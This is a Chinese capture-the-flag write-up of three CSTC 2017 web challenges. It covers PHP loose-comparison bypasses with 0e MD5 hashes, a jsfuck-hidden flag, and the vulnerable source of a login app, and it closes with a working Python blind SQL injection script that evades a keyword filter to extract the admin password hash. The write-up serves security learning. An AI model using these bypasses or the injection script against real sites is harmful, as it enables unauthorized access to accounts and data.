0x01  前言

这一次的比赛web题只做出来3个,也是菜的抠脚。。

0x02 web-签到题   php弱类型

查看源码,发现是代码审计,要求用户名必须为字母,密码必须为数字,登陆页面可以用开头为0e的md5值绕过,下面列出一串0e开头的md5值

1 <?php
2 var_dump(md5('240610708') == md5('QNKCDZO')); //bool(true)
3 var_dump(md5('aabg7XSs') == md5('aabC9RqS')); //bool(true)
4 var_dump(sha1('aaroZmOk') == sha1('aaK1STfY')); //bool(true)
5 var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m')); //bool(true)
6 var_dump('0010e2' == '1e3'); //bool(true)
7 var_dump('0x1234Ab' == '1193131'); //bool(true)
8 var_dump('0xABCdef' == '     0xABCdef'); //bool(true)
9 ?>

这里是利用了php弱类型的漏洞,0e开头的md5值在进行比较的时候,会将0e识别为科学计数法,先做字符串到数字类型的转换,0的很多次方还是0所以相等,绕过

第二部分是代码审计,同样是利用php弱类型 把json_decode中的内容解码之后,将里面的key键所对应的值与$key进行比较,如果正确则返回flag

php在进行数字与字符串比较的时候,会将字符串先转化成数字类型,然后再进行比较

<?php
var_dump("admin"==0); //bool(true)
var_dump("0e123"==0); //bool(true)
var_dump("4test"==4); //bool(true)
?>

所以我们的poc是  message={"key":0}即可拿到flag

0x03 web 抽抽奖

在 http://117.34.111.15/js/jQuery.js 中找到了一串jsfuck加密,解密即可拿到flag 推荐两个解jsfuck的网站

www.jsfuck.com

https://enkhee-osiris.github.io/Decoder-JSFuck

0x04 web soeasy

 1  <?php
 2
 3 include("config.php");
 4
 5 $conn ->query("set names utf8");
 6
 7 function randStr($lenth=32){
 8     $strBase = "1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm";
 9     $str = "";
10     while($lenth>0){
11       $str.=substr($strBase,rand(0,strlen($strBase)-1),1);
12       $lenth --;
13     }
14    return $str;
15 }
16
17 if($install){
18     $sql = "create table `user` (
19          `id` int(10) unsigned NOT NULL PRIMARY KEY  AUTO_INCREMENT ,
20          `username` varchar(30) NOT NULL,
21          `passwd` varchar(32) NOT NULL,
22          `role` varchar(30) NOT NULL
23        )ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci ";
24     if($conn->query($sql)){
25        $sql  = "insert into `user`(`username`,`passwd`,`role`) values ('admin','".md5(randStr())."','admin')";
26        $conn -> query($sql);
27     }
28 }
29
30 function filter($str){
31      $filter = "/ |\*|#|;|,|is|union|like|regexp|for|and|or|file|--|\||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%a0')."/i";
32      if(preg_match($filter,$str)){
33          die("you can't input this illegal char!");
34      }
35      return $str;
36
37 }
38
39
40 function show($username){
41   global $conn;
42   $sql = "select role from `user` where username ='".$username."'";
43   $res = $conn ->query($sql);
44   if($res->num_rows>0){
45
46       echo "$username is ".$res->fetch_assoc()['role'];
47   }else{
48       die("Don't have this user!");
49   }
50 }
51
52 function login($username,$passwd){
53     global $conn;
54     global $flag;
55
56     $username = trim(strtolower($username));
57     $passwd = trim(strtolower($passwd));
58     if($username == 'admin'){
59         die("you can't login this as admin!");
60     }
61
62     $sql = "select * from `user` where username='".$conn->escape_string($username)."' and passwd='".$conn->escape_string($passwd)."'";
63     $res = $conn ->query($sql);
64     if($res->num_rows>0){
65         if($res->fetch_assoc()['role'] === 'admin') exit($flag);
66     }else{
67        echo "sorry,username or passwd error!";
68     }
69
70 }
71
72 function source(){
73
74     highlight_file(__FILE__);
75 }
76
77 $username = isset($_POST['username'])?filter($_POST['username']):"";
78 $passwd = isset($_POST['passwd'])?filter($_POST['passwd']):"";
79
80 $action = isset($_GET['action'])?filter($_GET['action']):"source";
81
82 switch($action){
83    case "source": source(); break ;
84    case "login" : login($username,$passwd);break;
85    case "show" : show($username);break;
86 }

action 有三种模式 source login show ,source是使代码高亮,login 是需要登陆 ,show 是查找username是否存在

查看源码得知username为admin password为一串随机生成的32字符串的md5值 显然通过login 这里爆破密码是不可取的,并且login要绕过admin,这里参考了p牛的文章,用%c2可以绕过

回归正题这里在login字段有一个$sql语句可以注入,属于盲注,下面这些字段被过滤了

 1 <?php
 2 *
 3 ;
 4 ,
 5 is
 6 union
 7 like
 8 regexp
 9 for
10 and
11 or
12 file
13 --
14 |
15 `
16 &
17 空格
18 ?>

View Code

这道题和swup-CTF的题有点类似

()可以绕过空格,运用select*from xx where xx='0'='1'='0' 然后在1中放入我们的代码就好了

直接放poc

 1 #coding=utf-8
 2 import requests
 3 url='http://117.34.111.15:89/index.php?action=show'
 4 string='abcdef0123456789'
 5 flag=""
 6 for length in range(1,33):
 7     for x in string:
 8         s=requests.session()
 9         payload={"username":"username'=(select(1)from(user)where(mid((passwd)from(%d))='%s%s'))='"%(33-length,x,flag)}
10         if 'admin' in s.post(url,data=payload).content:
11             flag=x+flag
12             print 33-length,flag

最终将密码的md5值跑出来

login处%c2绕过原理具体请看p牛文章 Mysql字符编码利用技巧

最终getflag

转载于:https://www.cnblogs.com/Mrsm1th/p/6722007.html

CSTC-2017-Web-writeup相关推荐

  1. Nuit du hack 2017 webcrypto Writeup

    Nuit du hack 2017 web&crypto Writeup 新博客地址:http://bendawang.site/article/Nuit-du-hack-2017-web-a ...

  2. 虎符WEB Writeup

    虎符网络安全比赛 WEB Writeup 转自i春秋 https://bbs.ichunqiu.com/thread-56994-1-2.html 0x01 前言 这次比赛相对于我这个小菜鸡而言收获很 ...

  3. php逻辑难是难在sql,[实验吧] 所有web writeup

    实验吧 writeup 打算把实验吧所有的web题做一遍 花了一个礼拜多的时间吧 有些也看了wp不得不说收获挺大 WEB 简单的登录题 F12看下网络里面里面的请求头中有一个tips:test.php ...

  4. Jarvis OJ web WriteUp

    我要开始做Jarvis OJ上的题目啦!!!之前bugku上还剩下的几道题,之后也会再补上的,做出来之后,就会把思路写到博客里的.新手,有错的地方多多指教.(不是按顺序写的-我就先挑简单的做啦~~~) ...

  5. 从SCTF看JWT安全 (附SCTF web writeup)

    原创作者:Fz41 这两天在打SCTF,有一题涉及到JWT的简单的知识,现在来把JWT相关的知识汇总一下,虽然不是主要的考察内容,但是作为一个基础知识,还是要掌握的. JWT技术介绍 来源 用户认证的 ...

  6. [网络安全提高篇] 一一〇.强网杯CTF的Web Write-Up(上) 寻宝、赌徒、EasyWeb、pop_master

    强网杯作为国内最好的CTF比赛之一,搞安全的博友和初学者都可以去尝试下.首先,让我们观摩下这些大神队伍,包括0x300R.eee.0ops.AAA.NeSE.Nu1L等,真的值得我们去学习.其次,非常 ...

  7. 大学生HTML5竞赛网站,2019全国大学生信息安全竞赛Web Writeup

    这次web题真切得让我感受到了我得辣鸡 顿时被打了鸡血 最后只做出来一题,但是有两道题都是马上要出来了最后时间不够 ,这里总结一下 web1 JustSoso 打开之后是这样得 右键查看源码 提示需要 ...

  8. 国赛mysql加固_2019 全国大学生信息安全竞赛创新能力实践赛3道Web Writeup

    0x01 JustSoso 本题的主要知识点在于反序列化的应用和parse_url()函数的解析问题,首先通过网页源码中的文件读取提示读取得到index.php文件源码和hint文件源码,任意文件读取 ...

  9. bugku{web writeup笔记}

    文章目录 web2 计算器 web基础$_GET web基础$_POST 矛盾 web3 域名解析 你必须让他停下 本地包含 web5 头等舱 网站被黑 管理员系统 web4 flag在index里 ...

  10. kss admin index.php,XCTF Final 2018 Web Writeup (Bestphp与PUBG详解)

    WEB1--Bestphp 这道题提供index.php源码 index.php highlight_file(__FILE__); error_reporting(0); ini_set('open ...

最新文章

  1. OpenSSH7.0兼容性测试报告
  2. poj 2516 最小费用最大流
  3. MySQL存储引擎的选择
  4. sql取出某一列不重复数据的ID解决办法
  5. python基础知识-8-三元和一行代码(推导式)
  6. JavaScript实现自适应宽度的瀑布流
  7. socket编程介绍
  8. html语言闪烁特效代码,css3 文字闪烁特效代码
  9. Java多线程:解决生产者/消费者模式
  10. 易语言编写的档案管理系统源码_校园固定资产管理系统方案
  11. 深度学习项目:歌词的自动生成
  12. android studio for android learning (二)
  13. PHP OB-缓冲区
  14. ORCAD PSPICE 仿真学习
  15. 取消windos开机时的磁盘检查,提升开机速度
  16. iOS设置基于ikev2的协议连接企业虚拟专用网络
  17. 别人可以在今日头条发文章赚钱,为什么你赚不到呢?
  18. 【读书随记】周末充电,学习Java更轻松(文末送书)
  19. 详解批量梯度下降法(BGD)、随机梯度下降法(SGD)和小批量梯度下降法(MBGD)
  20. 学习记录——初始——计算机学习准备

热门文章

  1. 企业微信打卡怎么防止作弊?看看其他企业是怎么做的
  2. Windows下Qt+minGW+CMake+opencv配置--方法总结、文件分享与排错分享
  3. c语言作业迷宫代码,用C语言写的走迷宫的代码
  4. Linux服务器之内存过高解决思路
  5. 织梦标签全攻略[转]
  6. 阿里云大数据平台DataWorks(原DataX)
  7. 【阿里云】1.阿里云大数据产品体系
  8. 高考查询系统 (完善中)
  9. GitHub图片不能正常显示的解决办法
  10. Android 系统广播(大全)